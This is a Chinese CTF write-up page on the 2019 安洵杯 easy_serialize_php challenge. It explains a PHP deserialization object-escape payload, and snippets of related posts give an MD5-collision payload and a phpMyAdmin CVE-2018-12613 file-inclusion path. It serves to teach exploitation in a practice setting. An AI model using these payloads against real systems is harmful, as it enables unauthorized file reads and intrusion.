刷题记录：[安洵杯 2019]easy_serialize_php

刷题记录：[安洵杯 2019]easy_serialize_php
知识点
- PHP反序列化

刷题记录：[安洵杯 2019]easy_serialize_php

题目复现链接：https://buuoj.cn/challenges
参考链接：第二届安洵杯2019部分writeup

知识点

PHP反序列化

payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
extract后覆盖了两个没用的属性，但是后面又强制加了一个我们不可控的img属性。这个payload的精妙之处就在于phpflag被替换为空后，$serialize_info的内容为
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
刚好把后面多余的img部分截断掉

原文地址：https://www.cnblogs.com/20175211lyz/p/12190128.html

时间： 2024-07-30 18:24:19

刷题记录：[安洵杯 2019]easy_serialize_php的相关文章

[安洵杯 2019]easy_serialize_php

0x00 知识点 PHP反序列化的对象逃逸任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞. 参考链接: https://blog.csdn.net/a3320315/article/details/104118688/ 过滤函数分为两种情况第一种为关键词数增加例如: where->hacker,这样词数由五个增加到6个. 第二种为关键词数减少例如:直接过滤掉一些关键词,例如这道题目中. 过滤函数filter()是对serialize($_SESSION)进行

刷题记录：[强网杯 2019]Upload

目录刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境一.知识点 1.源码泄露 www.tar.gz 2.php反序列化看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

[安洵杯 2019]easy_web

0x00 知识点 md5强类型的绕过方法比较固定: POST: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%

Upload To rce 安洵杯2019 这不是上传

0X0A 首先我们大致审计一下三个源码文件 upload.php 上传页面 inlculde了helper extend了里面的helper 类型大致是一个上传文件的函数判断文件是否上传成功如果失败则重新上传再来看看helper里面的函数看到了经典的反序列化magic _destruct()调用了 view_files 方法 view_file里面file_get_content函数可以造成rce或者任意文件读取那么调用在哪里呐?? https://www.kancloud.cn/

刷题记录：[SUCTF 2019]EasySQL (欠)

目录刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录：[SUCTF 2019]Pythonginx

目录刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置二.解题方法刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录：[De1CTF 2019]Giftbox && Comment

目录刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取刷题记录:[De1CTF 2019]Giftbox && Comment 题目复现链接:https://buuoj.cn/challenges 参考链接:De1CTF Web WriteUp BUUCTF平台 web writeup 第三弹一.知识点 1.sql注入 && t

刷题记录：[GWCTF 2019]我有一个数据库

目录刷题记录:[GWCTF 2019]我有一个数据库知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞刷题记录:[GWCTF 2019]我有一个数据库题目复现链接:https://buuoj.cn/challenges 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 cve-2018-12613-PhpMyadmin后台文件包含影响版本:4.8.0--4.8.1 payload:/phpmyadmin/?target=db

刷题记录：[RCTF 2019]Nextphp

目录刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne